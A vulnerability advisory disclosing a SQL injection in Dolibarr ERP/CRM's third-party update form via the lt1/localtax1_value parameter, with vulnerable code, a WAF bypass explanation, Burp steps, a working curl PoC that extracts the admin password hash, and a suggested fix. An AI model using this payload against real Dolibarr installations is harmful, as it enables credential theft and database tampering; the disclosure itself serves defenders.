Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter

Description

### Summary A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The `localtax1_value` parameter (`lt1`) is concatenated directly into an SQL UPDATE statement in `societe/class/societe.class.php` at line 1672 without any escaping, type casting, or parameterized query binding. An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data. Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration. ### Details **Vulnerable code** (`societe/class/societe.class.php`, line 1672): ```php $sql .= ",localtax1_value =".$this->localtax1_value; ``` The value comes from `GETPOST('lt1', 'alpha')` (`societe/card.php`, line 1135). The only sanitization applied is `trim()` at line 1528 — no `(float)` cast, no `$db->escape()`. The `alpha` input filter strips HTML tags and double quotes but does **not** strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters. **Why the WAF does not block this:** Dolibarr's WAF (`waf.inc.php`) only checks SQL injection patterns in **GET** parameters, not POST. The POST-based `lt1` parameter bypasses it entirely. **The same vulnerability exists** for `localtax2_value` (parameter `lt2`) at line 1682. Adjacent fields like `localtax1_assuj` are properly cast to `(int)`, showing the developers were aware of injection risk but missed these fields. ### PoC **Steps to reproduce:** 1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11) 2. Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin) 3. Create or open any existing Third Party (company) record 4. Click "Edit" on the company card to open the update form 5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body: - `localtax1assuj_value=1` - `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)` 6. Submit the form (server responds with HTTP 302 Found — successful update) 7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field **Verification:** `echo -n "admin123" | md5sum` → `0192023a7bbd73250516f069df18b500` (matches exfiltrated hash). **Figure 1 — Notes tab before exploitation (Private Note field is empty):** <img width="1372" height="822" alt="Notes tab after exploitation — admin password hash exfiltrated" src="https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841" /> **Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:** <img width="1095" height="732" alt="22" src="https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899" /> **Figure 3 — Burp Suite Repeater: request body with injected `localtax1assuj_value=1` and `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`:** <img width="1095" height="727" alt="33" src="https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3" /> **Figure 4 — Notes tab after exploitation: Private Note now contains `0192023a7bbd73250516f069df18b500` (MD5 hash of admin password "admin123"):** <img width="1381" height="819" alt="1" src="https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa" /> **curl PoC:** ```bash curl -b cookies.txt \ --data-urlencode "action=update" \ --data-urlencode "token=CSRF_TOKEN" \ --data-urlencode "socid=1" \ --data-urlencode "name=TestCompany" \ --data-urlencode "status=1" \ --data-urlencode "localtax1assuj_value=1" \ --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \ --data-urlencode "client=1" \ --data-urlencode "typent_id=0" \ "http://TARGET/societe/card.php?socid=1" ``` **Additional proof — arithmetic evaluation:** Sending `lt1=3+4` results in `localtax1_value=7.0000` stored in the database. The expression was evaluated by the SQL engine, confirming injection. **Additional proof — user count exfiltration:** Sending `lt1=(SELECT COUNT(*) FROM llx_user)` results in `localtax1_value=1.0000`. ### Impact An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can: - **Read** any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details) - **Modify** any database record via additional SET clauses in the UPDATE injection - **Escalate** to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default) - **Potentially achieve RCE** via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation ### Suggested Fix ```php // societe.class.php, line 1528 — add (float) cast: $this->localtax1_value = (float) price2num(trim($this->localtax1_value)); // societe.class.php, line 1672 — add (float) cast: $sql .= ",localtax1_value =".((float) $this->localtax1_value); ``` Apply same fix for `localtax2_value` (lines 1529, 1682). ### Credit Please credit this finding to: **Grzegorz Tworek (F3715H) sec4check** (grzegorz.tworek@sec4check.pl) ### References A detailed write-up will be published after patch release at: https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html We kindly request including this URL in the CVE references.